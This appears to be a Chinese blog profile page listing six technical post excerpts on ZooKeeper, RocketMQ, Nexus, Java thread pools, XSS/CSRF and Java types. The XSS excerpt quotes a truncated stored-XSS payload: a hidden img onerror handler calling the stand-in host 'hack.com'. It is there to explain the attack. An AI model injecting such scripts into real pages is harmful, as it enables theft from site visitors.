自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(6)
  • 收藏
  • 关注

原创 zookeeper 入门与实践 (一)

zookeeper 入门与实践 (一)应用场景1、可以用作复杂的集群系统的注册中心,检测服务实例的健康状态,更新健康服务实例给调用方。2、系统集群环境下可用来做分布式锁,避免同一份资源被多个线程同时篡改,导致数据变更和预期不符。3、配置中心,多个服务使用同一套配置,不用每个服务管理一套维护起来太麻烦,修改还得改代码,重启项目,使用zk统一管理修改方便、提高效率。4、分布式队列,微服务中处理业务需要保证先进先出的顺序性,可以让所有待执行业务在zk上建立临时节点,按顺序执行一个删除一个。节点类

2022-01-01 19:32:46 1256

原创 rocketMq 学习及实践(一)

rocketmq 学习及实践

2021-12-26 01:47:46 3958

原创 nexus 私服搭建

nexus 私服搭建官网:https://help.sonatype.com/repomanager3【docker 搭建 nexus】docker 镜像拉取镜像地址:https://hub.docker.com/r/sonatype/nexus3/tags/?page=1&ordering=last_updated启动镜像docker run -d -p 8081:8081 --name nexus3 --restart=always -v D:\docker\nexus

2021-07-15 09:20:13 325

原创 java 线程池使用详解

java 线程池使用详解【前言】java 中遇到异步操作的时候经常会使用多线程来操作,当前也可以用队列,看业务场景,队列主要还是用于肖锋和解耦业务的,如果只是简单的一个异步逻辑处理,没有必有使用消息队列,起个线程就完事了。使用线程也要考虑一下系统资源占用,当创建完线程使用完后,需要等到 GC 回收,如果创建的线程很多这个过程是很浪费资源的,所以就有了线程池,线程池中可创建的线程数量是有限的,使用后的线程会标记为空闲状态,待下一个 work重复使用。【线程池工作流程图】【线程池创建】线程

2021-05-27 10:50:08 111

原创 xss、csrf 攻击

xss/csrf 攻击xss攻击描述:跨站脚本攻击,这里缩写css被前端层叠样式表(Cascading Style Sheets)占用了,为了和html中的css 区分,简称 xss攻击场景:属于注入攻击的一种。两个用户a和b,a在某网站上发表了一篇文章,其中包含了一串js代码,如下:<p> <img style="display:none" src="null" οnerrοr="a=function(ajax({url:'//hack.com/utm.gif'

2021-05-08 14:32:26 190 2

原创 java 基本类型

java 中有8个基本类型,和一些常用的 String, BigDecimal, Enum,List, Set, Map 等类型,这些大家开发中应该都多多少少都用过,但是它们的一些特性和关系都了解吗?话不多说咱来分析分析。 咱先从基本类型说起,java 中有 8 个基本了类型 byte, short, int, long, char, float, double, boolean,...

2020-03-03 15:00:00 245

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除